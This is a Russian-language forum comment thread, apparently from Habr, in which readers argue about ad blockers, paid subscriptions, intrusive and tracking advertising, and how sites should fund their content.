Да и вообще, ситуация, при которой информация становится доступна только элите (в плане финансов), а не всем подряд — это край.

Т.е. дело Sci-Hub'а правое? Ведь бедным аспирантам не на что покупать статьи из IEEE, например.
Вы или трусы снимите или крестик наденьте, нельзя же так.
0

Я думаю, что вам это надо по работе и соответственно наша привычка не платить за интеллектуальную собственность тут очень сказывается. Ведь возникает вопрос почему я должен платить за то, что раньше получал бесплатно. Вы много знаете студентов кому интересны описанные ресурсы? А вопрос этичности рекламы почему вы не рассматриваете? Ведь большинство, кто имеет детей, ставит adblock, чтобы оградить детей от непристойной рекламы! Во всех случаях где доводилось настраивать компьютер, к которому доступ имели дети, родители в обязательном порядке просили отключить рекламу из-за её неэтичности. Так что тут просто имеем эволюционный процесс, когда монетизация сайтов с помощью рекламы оказалась нежизнеспособным методом. Прогресс идет — пускай нас и не всё устраивает, но часто всё меняется местами — сегодня мы возмущаемся что надо платить, а завтра мы возмущаемся что не платят нам. А ещё очень сказывается уровень доходов, для нас много, для запада нормально. Знакомый в Англии там за интернет за месяц платит как я за год причем у него в два раза медленней. Так что относительно контента лучше не искать причины, а искать решения или альтернативы.

+3
Ага, нуну, прямо мы адблок не отключали и не смотрели, что будет, ага. И я прям сразу так и пошел сначала на сайт знакомств для серьезных отношений, потом для несерьезных, а потом по дизайнерским ресурсам, а моя девушка — наоборот, потратила $300 на техническую конференцию, лол. И это со включенным адблоком, а если его выключить — меня еще все мои покупки за последний год догонят.

Баннерная реклама в современном мире приносит вреда больше чем пользы, пора с этим смириться. На ресурсах, которые я часто посещаю, с этим долгое время было приемлемо, но таки без адблока я перестал в интернет ходить после наступления повальной моды на всяческую так называемую «аналитику», как в примере из абзаца выше.

Надеюсь, скоро кто-нибудь придумает достойную альтернативу этой модели потребления контента, пока это не произошло — кому-то придется страдать. Модель с подпиской я считаю приемлемой, хотя и не беспроблемной, периодически пользуюсь. При возможности донатю авторам. И призываю всех так делать, глядишь, хороший контент не будет под несколько сотен стоить. Выключать адблок не буду — бесполезно и мне и авторам, наоборот, буду блочить только жестче.
+29
Кстати говоря, все, кто молятся на AdBlock и иже с ними должны знать, что на пике «боевых действий» эти святые люди (разработчики) продавали места в white-листах своего детища за неприлично большие бабки. Чтобы вы понимали, что на вас нормально настригли купонов, адепты «чистого веба».

Поэтому, как только разработчик AdBlock провернул такую схему с платным внесением в белый список, основная масса пользователей блокировщиков схлынула на многочисленные форки или альтернативы вроде того же uBlock Origin (который, к слову, и по функциональности куда богаче).

И ещё одна вещь, о которой любители обвинять блокировщики чего-то очень тактично умалчивают. Схема с оплатой за просмотры умерла многие годы назад. Сейчас оплачиваются либо клики по рекламе, либо непосредственно выполненное действие (перешёл с соответствующей кукой либо utm-меткой, добавил заказ в корзину).
Я, как человек небогатый, не склонен к импульсивным, потребительским покупкам. Да и покупки делаю не читая маркетинговый буллщит, а выбирая и сравнивая по характеристикам из нескольких источников, даже незначительную мелочь типа светодиодной лампы. От моего присутствия или отсутствия рекламодателю ни холодно ни жарко. Пострадает ли площадка от того, что я заблокировал рекламу? Нет. Поэтому мой осознанный выбор – блокировать, убирая информационный мусор.
Вводить подписку площадка имеет полное право. И если я посчитаю, что её контент того стоит, и я не могу найти его в другом месте — куплю.
-23
От моего присутствия или отсутствия рекламодателю ни холодно ни жарко


«Когда они пришли за коммунистами я молчал, я же не коммунист».

Вы — минимум палка в статистике пользователей блокировщика, неужели это не очевидно? :)
+7
Возможно, вы ошибаетесь. Я не поленился, настраивая правила для сайтов, что посещаю чаще всего. Поэтому всяческие «детекторы адблока» режутся не менее успешно, в особо запущенных случаях — вместе со всем не критичным для просмотра JS на сайте.
Поэтому обнаружить мой визит можно разве что анализируя логи веб-сервера, чем вряд ли занимаются те, кто полагается на автоматизированные сборщики разнообразных метрик.
+5
Если владелец сайта считает упущенную от рекламы прибыль по пользователям адблока, то это не пользователи плохие, а кто-то просто не удосужился нанять профессионала. Почему я должен такого человека жалеть? Бизнес подстроится, как всегда, слабые и глупые умрут, как всегда, появится новое работающее решение на какое-то время — как всегда. Нормальный естественный процесс. Затронет это, конечно, не только бизнес, но жалеть человека который привык зарабатывать на том что ему давалось бесплатно, а потом эту возможность отрезали я тоже не очень хочу, вы уж извините.
0
Да нет, оплата за спм как была популярна на западе так и осталась, у нас да, лучше отрабатывает спс, но спм никуда не делся, это базовые вещи.
0
Пострадает ли площадка от того, что я заблокировал рекламу?

А пострадает ли она, если просто заблокирует вам доступ и вы пойдете искать другой сайт. Тоже вроде нет, верно?
0
Почему пострадает? Потому, что вы считаете себя сильно важным среди сотен тысяч или миллионов посетителей типичного попурярного сайта?

Часть людей захочет зайти и отключит блокировщик, это слиъваой окупит бан вас и таких как вы. Ну или аргументируйте, как именно пострадает площадка от того, что заблокирует тех, кто сознательно не приносит ей дохода.
+1
Меньше пользователей — меньше реклама через сарафанное радио, меньше показателей для акционеров и прочих метрик.
0
К-во просмотров рекламы не уменьшится, метрики для акционеров не пострадают. Ну если площадка продает рекламу, а не джинсу, конечно.
Сарафанное радио от пользователей блокировщиков — сомнительная история.

Повторюсь, если хотя бы часть юзеров выключит блокировщик, это окупит потери от воображаемого сарафанного радио. Особенно, если такая практика будет повсеместной (среди топовых сайтов в своей нише).
+2
Пострадает, поскольку слух о невменяемости площадки разойдётся быстро. А площадки, как и пользователи — редко когда уникальны.

А уникальные, ЧСХ, не требуют «отключи блокировщик рекламы или пшёл вон!», а максимум вежливо попросят.
0
Да эти слухи до одного места, если на сайте есть какие-то интересные материалы, за которыми ходят пользователи. Вот реально, идеальных площадок все равно нет.И слухи о невменяемости площадок и так курсируют регулярно. О том же Хабре негатива столько, что устанешь читать. Только смысл?
0
Да никакого. Жизнь и так коротка, чтобы целенаправленно распространять слухи.

Потом, люди судят по своему опыту, часто полагаются на мнения и отзывы нескольких других людей, вкусам и эрудиции которых доверяют. Собственно, по таким каналам и уйдёт «предупреждение о невменяемости», а уж пострадает ли конкретный «жёлтый» ресурс — лично мне по барабану. Я просто не буду его больше читать.
0
Ну закрывать вход скорее актуально для качественных ресурсов, вкладывающихся в контент, а не желтых. Но то, что не будете читать — верно. По крайней мере, с включенным блокировщиком.
0
И что-то подсказывает мне, что ничего при этом не теряю.

Впрочем, это уже частные мнения. По мне, уникальных ресурсов, где реально есть что интересное (не склонированное в 100500 других сайтов Легиона), настолько мало, что на них и подписаться не жалко.
0
Если вы интересуетесь только новостями, то так и есть, новости никто не придумывает, все описывают одно и тоже, отличается скорее оперативность и полнота/стиль изложения.

Другие дело, когда речь идет об авторских материалах. Даже банальные обзоры/тесты (машин, гаджетов, чего угодно) у каждого свои. Со своей методикой, слогом, методологией.
И далеко не факт, что регулярность будет достаточной для платной подписки.
+1
Можно платить per release. К примеру, Патреон такое поддерживает. Можно платить ежемесячно, можно платить за каждый пост.
+26

Я бы не стал делать из этого проблему. На самом деле журналистика которую мы знали умерла с Интернетом:


  1. Новости просто перепечатываются. Это очень легко проверить: возьмите новость и посмотрите как быстро она появится на 2-3-5 сайтах.
  2. Новости стали заказные. Отличный пример: новость о том, что космонавты успешно стартовали появилась на сайте раньше, чем новость о том, что они все таки не смогли долететь до космоса
  3. Низко-качественные новости. Например, блумберг рассказывающий как supermicro следит за всеми нами.

Зачем платить за это?

-5
То есть вы предлагаете ограничиться исключительно ТАСС и Reuters?
+6
Вполне достаточно блогов и личных страниц лидеров мнений, которым доверяешь.
+1
Вполне достаточно блогов и личных страниц

… прочитал я в комментариях на Хабре.
+5
Независимая журналистика =! ТАСС и Reuters и именно интернет возродил журналистику как четвертую власть.
+24
Обычно происходит наоборот. Заходишь на внешне адекватный сайт, а он начинает сразу видео запускать. Адблок, не адблок — всё равно запускает. Причём если на русских сайтах видео ещё может быть тематичным (правда, при этом ещё и глючит), то вот на зарубежных как правило вообще реклама то курсов каких то, то ещё фиг знает чего. Аудио видео реклама! При заходе автоматически стартующая!

Ну и есть ещё один немаловажный фактор. Отслеживание. Все эти баннеры, даже если и достаточно незаметные, всё равно пытаются отслеживать всё, что вы делаете. Если вам это нормально, то вот меня, например, сильно напрягает. С чего я должен доверять им?
+4
Вот кстати да, немаловажный момент. Без всего этого сбора информации о поведении, привычках, взглядах — глядишь, и меньше было бы претензий к вездесущей рекламе. Сайту, который показывает рекламу самостоятельно (даже не таргетированную, не интересную) доверия как-то больше, чем крупной рекламной сети, которая ведёт на тебя виртуальное досье любыми способами, как какая-то соцсеть, и пытается предложить то, что тебе может понадобиться (часто ошибаясь) либо преследуя предложениями покупки того, что ты искал недавно и уже давно приобрёл.
0
Самое интересное, что, кажется, они собирают уже информациюи о родственниках :)

Жена дома с ноута выбирает хлебопечку. У меня дома — отдельный комп.

На следующий день мне на работе Яндекс начинает пихать рекламу хлебопечек…

Ну как, как он догадался, что мы родственники?
+5
Дело в том, что мой домашний провайдер своих клиентов держит в серой зоне NAT. В квартире, сабо самой, стоит свой роутер. Так же как и у тысяч других клиентов этого провайдера.

Так что, Яндекс теперь всем клиентам этого провайдера хлебопечки рекламирует? Такая «избирательная» реклама смотрелась бы весьма странно. В том то и дело, что он чужого не рекламирует.

Кроме того, к Яндексу у меня привязан корпоративный аккаунт на PDD. Но в тот день (и в предыдущий) я входил на Яндекс на работе в другой аккаунт. Дома я в него не вхожу.

Т.е. эта шайтан-машина отследила, что 2 аккаунта на Яндексе, скорее всего, связаны. Далее, засекла каким-то образом через 2 NAT-а, что мой компьютер и женин ноут «близко знакомы». И сделала выводы.

Ноут за 2-мя NAT -> Комп там же -> 1-й аккаунт на компе -> Он же на рабочем компе за NAT -> 2-й аккаунт на том же компе

Мне это кажется, или у меня паранойя?
0
Так сам в шоке.

И это самый яркий пример. Просто я в тот раз точно знал, что именно жена искала накануне в Интернете. А сколько раз мне вот так подсовывали рекламу для нее, а я про это и не знал?
+5
Ну то, что вы связаны, поидее, не так сложно определить. Контакты в мессенджерах + геолокация в каких-то сервисах, одновременные отметки на фотках в СС и тд.

Ну и вариант совпадения полностью исключать не стоит — бывают и более сложные комбинации в жизни (в офлайне) и даже с задействованием большего числа людей и действий.
+2
Из мессенджеров пользуемся только Skype, но там контакты разные. Причем, я его включаю крайне редко. Еще иногда пользуюсь мессенджером FB, но там у жены нет аккаунта.
У меня нет смартфона и мобильного Интернета. Есть планшет, но подключаюсь к домашней или рабочей сети по Wi-Fi. Т.е. я тоже не геолоцируюсь.
У жены, кстати, мобильного Интернета тоже нет. Просто не подключен тариф за ненадобностью уже несколько лет.
Соцсетями не пользуемся практически. Жена вообще ни в одной не зарегистрирована. Я изредка что-то пишу в FB, но крайне редко.
В ВК мой аккаунт привязан был к номеру телефону, который МТС у меня экспроприировал два года назад за неиспользование. В Одноглазниках такая же история, но там еще мой акк взломали — теперь на его месте какая-то барышня, рекламирующая эскорт-услуги :D Восстанавливать, понятное дело, я эти аккаунты не стал.

Так что СС, мессенджеры и геолокация не прокатывает…

Это я к тому, что сопоставление и идентификация пользователей Яндексом и другими сервисами (но Яндексом — особенно) идет еще более агрессивно, чем мы наивные думаем. Иногда она даже дает ложноположительные срабатывания, но в целом ошибка не выходит за ближайшее окружение жертвы.
+1
Я слышал про отслеживание через параметры вайфая. Так делает гугл (или делал, впрочем сомнительно чтобы перестали), но у них есть доступ к смартфонам, не уверен может ли это яндекс. Но это одно из простейших объяснений, я бы покопался в этом направлении.
+1
Wi-Fi

Насколько я знаю, почти все точки доступа регулярно сканируются и фиксируются их координаты — вот вам и геолокация
+1
Если на компе у вас один общий профиль, или вы несколько раз куда-нибудь могли зайти с ноута жены, то вполне возможно, что яндекс связал 2 профиля «рекламополучателя» на 2 машинах. Вроде бы, здесь на хабре была статья, о детекции пользователя на новой машине яндексом.
0
Ну, бывает, что жена заходит на какой-то свой форум с моего компа. Но я не думаю, что форумы стучат Яндексу и сливают именно ему такую информацию.
0
В uMatrix очень часто вижу это, так что возможно и сливают:

image
0
Значит я прав, и ситуация со слежкой и идентификацией пользователей еще хуже, чем мы представляем…
0
У вас где-нибудь не стоит приложение от Яндекса, которому вы разрешали доступ к локации? Или возможно вы с компьютера заходили на Яндекс.Карты и разрешили доступ к локации (по WiFi в городах локация определяется с точностью до квартиры)?
0
У меня (и у жены) Wi-Fi только с домашним роутером. Далее — серая зона провайдера с одним шлюзом из нее в Инет.

Т.е. у нас треть города (или половина) за этим шлюзом. И какая тут локация?

Кстати, когда я ее включаю функцию «Моё местоположение» на Яндекс.карте, то определяет его с точностью =/- 3 км. Что дома, что на работе (провайдеры разные).
0
По окружающим вас точкам доступа можно очень хорошо определить локацию, вплоть до квартиры. Так умеет 2ГИС, например. Не будет работать если вы живете где-нибудь в деревне, частном секторе (где светится только ваша точка доступа и ничего более) или если вы где-нибудь в новостройке и Google\Яндекс еще не успел отсканировать названия окружающих вас сетей и сопоставить их с локацией.
0
Ну это вряд ли :)

У меня, повторяю, на компе Wi-Fi нет.
А у жены что-то Wi-Fi модуль барахлит. Чувствительность такая, что еле сигнал от нашего роутера за 1,5-2 метра ловит. Точек доступа провайдера и разных других организаций просто физически не видит.
Обычно подключается тоже не через Wi-Fi, а кабелем.
0
В порядке оффтопа.
С месяц назад была похожая проблема. Ноутбук Леново (модель уже не помню, довольно современная) не ловил 2,4 ГГц чаще всего вообще никак, 5 ГГц очень плохо и нестабильно. Вскрытие показало, что один провод антенны просто не подключен к карточке, свободно болтается внутри корпуса. В ноут до меня залезали опытные мастера, ага, так что проблема скорее всего не заводская.
Посмотрите, может у вас что похожее: электрика — это наука о проводах и контактах :)
0
Очень даже может быть… Мы его в гарантийный ремонт отдавали — хард накрылся. Может быть после него антеннка и отвалилась.
0
Вы забываете про еще одного человека — вашего соседа. У него все галки на геолокацию включены, все адреса опубликованы и ничего не скрывается. И он передает данные, что рядом с ним есть wifi ssid такой-той, id точки доступа такой-то.

А на той стороне от обратного — пользователи wifi ssid, id — они рядом вот с этим адресом.
0
Т.е. он передает данные не только своей точки доступа, но и всех близлежащих?

Да за такое надо канделябром по голове!
0
Надо, кто бы дал. К сожалению это уже устоявшаяся практика на данный момент.
0
Например, из браузера можно производить сканирование локальной сети, и делать какие-то выводы даже на основании диапазона локальных IP-адресов, если он отличается от 192.168.0.x/192.168.1.x.
0
Из браузера?

Ну, если установить какой-нить ActiveX или плагин, то, наверное, и не такое можно узнать. Но как это сделать незаметно?
0
всё гораздо интереснее — я читаю на педивикии про виагру, делюсь с женой голосом парой фактов, через десять минут у неё на телефоне в выдаче яндекса реклама виагры
0
Больше всего бесит то, что рекламируют то, что ты уже просмотрел или то, что уже купил.
Допустим тебе нужен утюг.
Поискал посмотрел варианты (включая рекламные ссылки).
На каждой странице одни и те же ссылки. Я туда уже нажимал! Зачем еще раз показывать?! Это сложно отследить?
Ладно.
Пошел, купил утюг.
Еще месяц будут утюги. )
+7
Кое в чем согласен с автором статьи, но все не так однозначно…

Проблема настоящая в том, что агрессивную рекламу практикуют одни ресурсы, а страдают в большей мере те, кто проводит как раз более умеренную рекламную политику.

Потому что пользователи, устав от навязчивой рекламы на одном сайте, ставят Ad-Block и блочат рекламу массово и везде.

Что можно назвать агрессивной рекламой применительно к контексту?

1. Всплывающие окна, блокирующие просмотр страниц.
2. Тяжеловесные флеш-ролики и анимированная реклама, жутко тормозящая загрузку страниц.

Кроме того, иногда рекламное место в начале страницы сделано резиновым, реклама загружается долгое время, после чего скачком происходит изменение верстки. И приходится искать по тексту, куда перескочил абзац, который только что читал.

А на мобильных версиях сайта иногда реклама занимает 3/4 страницы и как это прикажете смотреть?

Вот я относился к рекламе с пониманием, но однажды не выдержал. Мобильный Rambler в Chrome отображался из-за рекламы некорректно. И даже не скроллился. Пришлось ставить браузер с баннерорезкой. Не знаю, режет ли она на нем рекламу (это не совсем просто даже для Ad-Block), но зато Rambler отображает корректно и он стал читаем за счет того, что я теперь режу рекламу на других сайтах.

Или вот еще… На КиноПоиске жутко тяжелые рекламные ролики. Пока они не загрузятся все, верстка страницы скачет как припадочная. Пришлось устанавливать Ad-Block и настраивать фильтры для «здесь блочим/здесь не блочим». С КП теперь работать можно. Но опять таки, за счет ущемления других, более корректных ресурсов.

Вот такой вот коленкор. Шалят одни, а страдают другие.

Но за статью спасибо. Буду теперь стараться отключать Ad-Block на хороших сайтах, если там реклама не мешает с ними работать.
+16
Есть один анекдот
Украли у мужика корову. Приходит он домой и говорит сыновьям:
— У нас корову украл какой-то му$к.
Старший брат: — Если му$к — значит маленький.
Средний брат: — Если маленький — значит из Малиновки.
Младший Брат: — Если из Малиновки — значит Васька Косой.

Все выдвигаются в Малиновку и там прессуют Ваську Косого.

Ну проходящий народ возмущаться начинает, всех троих ведут к мировому судье.

Мировой судья:
— Ну… Логика мне ваша непонятна. Вот у меня коробка, что в ней лежит?
Старший брат: — Коробка квадратная, значит внутри что-то круглое.
Средний: — Если круглое, то оранжевое.
Младший: — Если круглое и оранжевое, то апельсин.
Судья открывает коробку, а там и правда апельсин.

Судья Ваське:
— Косой, отдай корову.

К чему это я — а к тому, что как всегда в такого рода статьях все перевернуто с головы на…
Все в нашем мире непостоянно, все меняется и развивается.
Канула в лету дистрибьюция на CD- и DVD- дисках, их заменила цифровая дистрибьюция.

Так и с рекламой.


Люди давно уже поняли, что контент стоит денег и часто — немалых.
Откуда такой вспелск блогов, YouTube вблоггеров, а в различных соц.сетях страничек известных и малоизвестных людей, твич и т.д.?

Люди поняли, что контент можно монетизировать в одиночку, используя только стриминговые сервисы и ничего больше. Никакие другие площадки «дающие тебе право бесплатно опубликовать свой контент» не нужны.

Потому что контент — это деньги, а уникальный контент — это большие деньги — и зачем это отдавать кому-то?

Я готов платить за контент — за качественный контент. И практически все мои друзья, тратящие на стриминговые сервисы нехилые деньги. Хотя я — динозавр, знавался и с фидо и со становлением инета — и уж кто-кто — так я должен был привыкнуть к бесплатности.
Но нет, есть нюанс — в случае когда Вы платите товар — это то, за что Вы заплатили, а в противоположном — Вы сами.

Возвращаясь обратно — поэтому загибаются все контент-агрегирующие сайты, поэтому куча проплаченного и откровенно Ad-шного контента на Хабре, который делает тоже самое, хотя TM из кожи вон лезет (за что ему уважуха) чтобы удержаться на плаву (habr.com например).

Проходит время общин, сейчас и один в поле — воин.

Но есть часть людей, которые этого либо не понимают, либо не хотят меняться и ничего менять.
Например это рекламщики, копирасты ну и вот Вы например :)

Ну и главное — у меня включен uBlock почти всегда и везде, мало того, спец скрипт виртуально скликивает все баннеры (которые я не вижу) рандомно в фоне.
Зачем и почему?
Потому что когда баннеры вставляются в куски текста или ленту которую я читаю — это бесит (привет, хабр), когда их на сайте 90% — это бесит, когда они анимированные — это тоже бесит.
Я не хочу контент, который я не заказывал и который мешает мне читать основной контент. Я вполне могу простить не анимированные и не скачущие баннеры по бокам контента или вверху и внизу, но не в нем самом.

Но… рекламщики не хотят меняться, владельцы тоже.

По этому у меня uBlock, и скипт, который не всегда, но показывает тем людям, кто разместил рекламу таким способом — не стоит, ищите другой канал.

И еще раз — я готов платить за качественный контент, если он реально качественный, но я не готов быть товаром выискивая нужный мне контент в дебрях навязчивой рекламы.

Так что блокировщики лишь усоряют крах того, что тащится в конце поезда — а зачит поезд поедет быстрей.

И если Вы еще без блокировщика – айда к нам в лагерь и поддержи эволюцию, а если с другой стороны баррикад — вытирайте слезки и начинайте меняться!

0

Простите, а каким боком я к рекламщикам? Я горю исключительно из-за того, что теперь мне придется платить за часть контента по модели подписки вместо просмотра баннеров. И это напрямую бьёт по моему карману.


А пример с блогерами и прочими ютуберами некорректен. Нельзя сравнивать условный wired, один из старейших технических журналов, и видео-блогера Васю.

+9
Простите, но это какое то завуалированное попрошайничество. Изменились условия глобальной игры а вы оказались к ним финансово не готовы. И решили СВОЮ проблему переложить на весь мир. И этому месту на хабре?
+5
Простите, а каким боком я к рекламщикам?

Отвечу вольной цитатой одной личности:
И зачем, зачем ты это сделал? Зачем обратил меня?
-А ты хочешь все время быть шутом среди пид$в?
-А что, только вот так, по-другому нельзя?
-Ну почему-же — можно, можно быть пид$м среди шутов…


Это я к тому, что пора Вам uBlock ставить и начать наконец-то платить за контент :)
И приучить себя к мысли что эпоха халявы ушла вместе с одной державой давным-давно и сейчас Вы — в рыночных отношениях со своим контентом.

что теперь мне придется платить за часть контента по модели подписки вместо просмотра баннеров

Т.е. таки хотите быть товаром, да? :)

Может и программы на дисках надо вернуть? По 200 рублей за 6000 в 1?

Все изменилось, и да — придется платить, зато и контент будет соответсвующий.

Нельзя сравнивать условный wired, один из старейших технических журналов, и видео-блогера Васю.

Можно, если Вася оказался куда более полезным, расторопным и не скованным копирастами, чем Wired и сгенерировал куда более полезный и интересный контент.

И мне, как потребителю контента, абсолютно все равно сделан ли он Васей или топмегаредакором топмегажурнала.
0
Хм… Я вот причастен к созданию бесплатного контента на таком ресурсе как Русская Википедия. Админ, автор и редактор статей et cetera (ага, тоже редактор/копирайтер нового медиа). И нам там не всё равно, в Wired статья, или в блоге Васи Пупкина (ну или тут, на Хабре, тоже ведь блог). Потому как есть у нас такое понятие, как «авторитетный источник». На самом деле в English Wikipedia о своих редакторах уже позаботились, действуют всякие программы бесплатной подписки… Но о проблемах отделённости русского раздела хорошо сказано в недавнем интервью «Эху».

А что до баннерорезки, поймал себя на том, что когда недавно перешёл с «лисы» на «хром» в качестве основного браузера (проблема более медленного JS на старом железе стала критичной), поймал себя на том, что вообще не поставил uBlock.

Оно, конечно, забавно наблюдать, как после того, как я оценивал возможность присутствия статей о робопылесосах iLife в вике, мне начинают впаривать эти, и аналогичные гаджеты, но в World of Tanks поиграть уже не зовут — и на том спасибо.

ps. В места со стапятистами всплывающими порнобаннерами как-то не хожу, самое пиратское из регулярно посещаемых мест (не считая рутрекера и прочей флибусты, которые из под Tor) — libgen.io, рекламы там многовато на страницах скачивания, но всё весьма прилично.
+3
К сожалению, критерии авторитетности тоже сочинялись в другом мире. С тех пор авторитетность Васи не выросла, но к печатным медиа доверие точно упало (ибо они тоже легко и непринуждённо ссылаются на посты в фейсбуке и осуществляют факт-чекинг через твиттер). Так что в этом отношении в Википедии ещё можно рассчитывать на сравнительную точность научно-технических статей, но не более того. Даже если автор статьи добросовестно относится к источникам в соответствии с критериями.
+1
Я не в претензии к Википедии, она отражает то, что есть в информационном поле. Но по факту получается так, что если речь идёт о математической теореме, ещё можно на что-то рассчитывать, а если читать о каком-нибудь популярном певце, то можно довольно много узнать о его внутренних переживаниях и прочей галиматье, которую автор статьи явно взял из собственной головы :)

Тематика статьи явно коррелирует с уровнем образования автора. Иногда совершенно очевидно, что автор в принципе слабо себе представляет, как эти «заклинания» работают.
+1
Вы слишком концентрируетесь на своём wired и еще десятке других сайтов. Если что, то в интернете сайтов в десятки тысяч раз больше, и тот же адблок защищает в основном от них
+2
По сути, вы горюете из за того, что вместо бесплатных книг с рекламой в тексте вам предложили купить интересную книгу за деньги. Ну или, вместо бесплатного кино в телевизоре, прерываемого роликами каждые 15 минут, продают лицензию на диске.
Я не могу за всех решать, какая модель лучше, но я предпочитаю возможность выбора, и когда мне сайт предлагает подписку за разумные деньги — если мне нужен контент, я его покупаю. Если контент нужен, но просят много — иду и ищу дешевле или бесплатно. Понятие «дорого» для каждого субъективно — и более того, субъективно для каждой отдельной ситуации. Но если вам действительно нужна эта информация — она вполне стоит своих денег. И чем сильнее нужна — тем больших денег стоит, пока кто-то не предложит дешевле.
+1
Проблема в другом. Это здорово, когда можно купить фильм и смотреть его когда хочешь и где хочешь. И без рекламы. И на книге нет лишних страниц, на которой реклама. А вот представьте себе мир (куда мы катимся) — когда ВСЕ будет напичкано рекламой. И выбора между с рекламой за деньги и без рекламы (за еще бОльшие деньги) попросту не будет.
Примерно как в кинотеатрах — я не видел ни одного коммерческого кинотеатра, в котором даже за деньги можно было пропустить 10-20 мин тизеров перед каждым сеансом (речь не про авторское кино).
+1
Я согласен, это ужасный мир. Но вы имеете право голосовать рублём и ногами.
И вот, например, с кинотеатрами: я был в шоке от одной из сетей, когда помимо трейлеров, которые смотреть ещё хоть сколько-то интересно, всё же это таргетированная реклама — раз я пришёл на один фильм, возможно, меня заинтересуют и другие — мне показали 10 минут рекламы — жвачка, машины, кокакола, ещё какая-то фигня. Итого, за свои деньги(а билеты были не бюджетные, вполне средняя цена по городу) я получил 20 минут рекламы и трейлеров перед сеансом. Больше я в эту сеть кинотеатров не хожу. и на том сеансе, кстати, народу было не сказать чтобы много. Но, как ни странно, кинотеатры без рекламы (и даже без трейлеров) и не с авторским кино, а вполне себе с новинками — есть. Конкретно в моём городе (СПб) это Аврора и Англетер. Цены те же, что и везде, кино то же что и везде. Так почему бы и не ходить туда, где мне показывают за мои деньги только контент? И интернет, к счастью, тоже движется в эту сторону. Я оплачиваю подписку на яндекс музыку, купил премиум на ютубе, собираюсь оплатить отключение рекламы на smotret-anime — и с удовольствием куплю другие подписки, например на книги, если они будут адекватными.
0
в котором даже за деньги можно было пропустить 10-20 мин тизеров перед каждым сеансом

Можно просто придти на 10-20 мин. позже.
0
спец скрипт виртуально скликивает все баннеры (которые я не виджу) рандомно в фоне.

Скликивать сейчас уже смысла нет, в основном все вкусные для сайта рекламные сети — PPA, то есть платят за трату денег привлеченным посетителем, или хотя бы за его регистрацию. За клики и просмотры платят копье, и в основном это реклама либо казино/ставок/форекса, либо фармы, либо порно, либо pay-to-win игр — такое на приличных сайтах не висит.
Более того, это опасно потому, что за некоторыми баннерами висят связки эксплоитов, и можно незаметно для себя поймать какую-либо дрянь.
0
Это я знаю все, так чуток — уже неплохо, да и скрипт достаточно хитрый.
А что до эксплойтов — скрипт я сам писал, так что знаю что там кого и чем рискую.

Но за заботу спасибо :)
+6

нет, дорогая, мы тут ни при чем. потоки рекламы сместились со всего интернета в платформы: соцсети, посковики и мобайл. все как с развитием планеты — был первичный океан и каждый портальчик питался в нем планктоном на баннерах. со временем океан обсох до рек и озер, моря стали солеными, а все, что покрывало поверхность, ушло под землю и невидимо нашему глазу. воды меньше не стало, а вот животных, плескающихся беззаботно в ней стало куда как меньше. а адблоки — это временная ни на что не влияющая форма жизни

+6
либо выкладывать пару сотен баксов в год на всевозможные подписки, чтобы быть в курсе новостей.

Что-то совсем непонятное. Пепе в самом начале, конечно, намекает, что далее будет наброс, но это какой-то абсурд. Автор хотел бы читать абсолютно все технические издания ( он редактор/копирайтер, ему это надо по работе), но при этом выставляет как трагедию то, что за это нужно заплатить порядка $15 в месяц и при этом еще и кого-то обвиняет.
Я вот подписан на несколько изданий с пейволлом — полет нормальный, гораздо меньше кликбейта по сравнению с рекламной моделью и больше вдумчивости.
Тут, конечно, есть тонкость, так получилось, что редакторы/копирайтеры так называемых «новых медиа» вынуждены подписываться на те издания, из которых они тащат новости, за свои деньги, а вот если бы они работали в «Коммерсанте», у них была бы корпоративная подписка. Ну, это да, добро пожаловать в эпоху уберизации, хе-хе. Но именно на этой площадке это конструктивно обсудить, конечно, не получится.
+2
Пепе в самом начале, конечно, намекает, что далее будет наброс

Ну кто-то же должен это делать по пятницам .
0

Вот-вот, книгу как раз таки вашу я аналогично жду.
По аналогии с прошлой — готов заплатить выше "обычной цены", ибо, как ни странно, но лично мне ваши работы таки нравятся.
А банерорезку не отключу.

+7
Автор прав и не прав одновременно. Да, блокировщики рекламы режут доход сайтов с бесплатной информацией и сильно. Но, извините, с какого перепоя я не могу просто кликнуть-выделить текст, потому что тут же открывается 5 окон с порно и громкими звуками, ибо кто-то (автор сайта), дабы получить больше дохода с рекламы, понаустанавливал агрессивных рекламных плагинов? А за ним ещё потянулись. А потом и крупные издания подцепили вирус annoying рекламы. А потом ещё и flash/видео к рекламе прикрутили. На тот момент не у всех был безлимитный интернет и после посещения пары таких сайтов трафик улетал в трубу.

Не AdBlock явился причиной такого положения. Вернее не столько AdBlock, сколько рекламные компании. AdBlock явился следствием агрессивных рекламщиков, которые, в свою очередь, повысили уровень агрессивности рекламы, которую всё чаще начали резать. И круг замкнулся.

Здесь, на Хабре, мой AdBlock выключен. Ещё на нескольких сайтах, которые я активно посещаю — тоже. Если реклама не мозолит глаза, сделана не мегабайными флэшами, тяжёлым аудиотреком и видеопотоком, а легковесными gif-ами, не лезет по missclick кучей окон и вкладок в глаза — пусть крутится. Слева, справа, в шапке, в подвале — пусть. Главное для меня в этом — не мешай основному контенту. Мешаешь — добро пожаловать в AdBlock. Просят выключить блокировщик — пробую выключить, оцениваю, если много агрессии, видео, звука от рекламы — извини, но нет.

Бесплатные мобильные приложения (не все) пошли в плане рекламы по интересному пути. Реклама показывается либо баннером снизу приложения (всякие утилиты), либо встроена в процесс (игры). В последних обычно просмотр рекламы даёт некоторые плюшки, типа игровых бонусов и игровой валюты. И я сморю её. Честно, до самого момента, когда можно закрыть и получить бонусы. Потому что я понимаю, что это даёт возможность окупить (хотя бы) затраты на создание приложения.

P.S. Эх, если бы везде была такая реклама, как на хабре, блокировщиками бы пользовалось те самые 3,5 человека
0
Присоединяюсь к вашему мнению.
Если интересен именно данный ресурс — не грех потратить деньги на подписку.
Если хочется просто что-то интересное почитать — контента столько (в том числе бесплатного), что и десяти жизней не хватит на всё.
+4
Вы вроде как живем в эпоху Web 2.0? По крайней мере, я часто замечаю на некоторых сайтах (к примеру, на англоязычном научно-техническом сайте Phys.org), что комментарии к статьям интереснее самих статей. По сути, читатели бесплатно генерируют полезный контент.
+21
Извините заранее, что я позволю себе выразиться слишком литературно и метафорично. Я давно уже подозреваю, что нынешняя реклама − это не бизнес вообще, а пробудившееся древнее хтоническое зло. Кто-то по привычке думает, наверное, что задача рекламы − что-то там финансировать и продвигать, а на самом деле она ничего материального уже давно не делает, а существует только как астральная проекция нашего коллективного ресентимента. Она не преследует никаких целей, кроме как унизить каждого, кому она попадётся на глаза.

